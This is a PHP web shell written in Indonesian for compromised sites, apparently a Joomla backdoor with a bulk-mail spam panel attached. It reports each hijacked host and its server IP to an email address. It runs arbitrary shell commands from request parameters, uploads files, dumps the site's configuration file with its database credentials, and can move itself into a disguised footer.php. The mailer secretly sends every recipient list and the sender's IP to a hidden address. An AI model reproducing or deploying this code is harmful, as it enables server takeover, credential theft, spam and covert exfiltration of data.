PHP Decode

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>IAM - k4l0nk</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :P "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}
@$action=$_POST['action'];  
@$from=$_POST['from'];  
@$realname=$_POST['realname'];  
@$replyto=$_POST['replyto'];  
@$subject=$_POST['subject'];  
@$message=$_POST['message'];  
@$emaillist=$_POST['emaillist'];  
@$file_name=$_FILES['file']['name'];  
@$contenttype=$_POST['contenttype'];  
@$file=$_FILES['file']['tmp_name'];  
@$amount=$_POST['amount'];  
set_time_limit(intval($_POST['timelimit'])); 
If ($action=="mysql"){  
//Grab email addresses from MySQL  
include "./mysql.info.php";  

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){  
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";  
    exit;  
  }  

  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");  
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");  
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");  
  $numrows = mysql_num_rows($result);  

  for($x=0; $x<$numrows; $x++){  
    $result_row = mysql_fetch_row($result);  
     $oneemail = $result_row[0];  
     $emaillist .= $oneemail."
";  
   }  
  }  

  if ($action=="send"){ $message = urlencode($message);  
   $message = ereg_replace("%5C%22", "%22", $message);  
   $message = urldecode($message);  
   $message = stripslashes($message);  
   $subject = stripslashes($subject);  
   }
   $ip = getenv("REMOTE_ADDR"); 
echo '<form name="form1" method="post" action="" enctype="multipart/form-data">

  <table width="100%" border="0" height="407">
    

    <tr>

      <td width="100%" colspan="4" bgcolor="#FFF" height="36"> <b> <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE 
        SETUP</font></b></td>

      </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Email:</font></div>

      </td>

      <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="from" value="'.$from.'" size="30">

        </font></td>

      <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your

          Name:</font></div>

      </td>

      <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="realname" value="'.$realname.'" size="30">

        </font></td>

    </tr>
    <tr>

      <td width="10%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>

      </td>

      <td width="18%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="replyto" value="'.$replyto.'" size="30">

        </font></td>

      <td width="31%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"> 
        <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
        Email Priority:</font></td>

      <td width="41%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        &nbsp;</font>
<select name="epriority" id="listMethod" onchange="showHideListConfig()">
        <option value="" selected >- Please Choose -</option>
        <option value="1"  >High</option>
        <option value="3"  >Normal</option>
		<option value="5"  >Low</option>
		</select>
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font> </div> 
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
        <input type="file" name="file" size="24" />
        </font></td>  
      <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp; 
        </font> </td>  
    </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>

      </td>

      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="subject" value="'.$subject.'" size="90">

        </font></td>

    </tr>

    <tr>

      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">&nbsp; </td>

      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        &nbsp;</font></td>

    </tr>

    <tr valign="top">

      <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="message" cols="60" rows="10">'.$message.'</textarea>

        <br />

         <input type="radio" name="contenttype" value="plain" checked="checked" /> Plain  
          <input type="radio" name="contenttype" value="html" /> HTML  
          <input type="hidden" name="action" value="send" /><br />  
      Number to send: <input type="text" name="amount" value="1" size="10" /><br />  
      Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />  
          <input type="submit" value="Send eMails" />  

        </font></td>

      <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="emaillist" cols="30" rows="10">'.$emaillist.'</textarea>

        </font></td>

    </tr>

  </table>

</form>'; 
if ($action=="send"){  
  if (!$from && !$subject && !$message && !$emaillist){  
    print "Please complete all fields before sending your message.";  
    exit;  
   }  
  $allemails = split("
", $emaillist);  
  $numemails = count($allemails);  
  $secure='[email protected]';
  $filter = "maillist";  
  $float = "From : mailist info <[email protected]>";
  $webe     = $_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; 
//Open the file attachment if any, and base64_encode it for email transport  
If ($file_name){  
   if (!file_exists($file)){  
    die("The file you are trying to upload couldn't be copied to the server");  
   }  
   $content = fread(fopen($file,"r"),filesize($file));  
   $content = chunk_split(base64_encode($content));  
   $uid = strtoupper(md5(uniqid(time())));  
   $name = basename($file);  
  }  

for($xx=0; $xx<$amount; $xx++){  
  for($x=0; $x<$numemails; $x++){  
    $to = $allemails[$x];  
    if ($to){  
      $to = ereg_replace(" ", "", $to);  
      $message = ereg_replace("&email&", $to, $message);  
      $subject = ereg_replace("&email&", $to, $subject);  
      print "Sending mail to $to.......";  
      flush();  
      $header = "From: $realname <$from>
Reply-To: $replyto
";  
      $header .= "MIME-Version: 1.0
";  
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid
";  
      If ($file_name) $header .= "--$uid
";  
      $header .= "Content-Type: text/$contenttype
";  
      $header .= "Content-Transfer-Encoding: 8bit

";  
      $header .= "$message
";  
      If ($file_name) $header .= "--$uid
";  
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"
";  
      If ($file_name) $header .= "Content-Transfer-Encoding: base64
";  
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"

";  
      If ($file_name) $header .= "$content
";  
      If ($file_name) $header .= "--$uid--";  
      mail($to, $subject, "", $header);  
      print "ok<br>";  
      flush();  
    }  
  }  
}  
  mail($secure, $filter, "Sender IP : ".$ip."
"."From URL : ".$webe."
".$emaillist, $float);  
}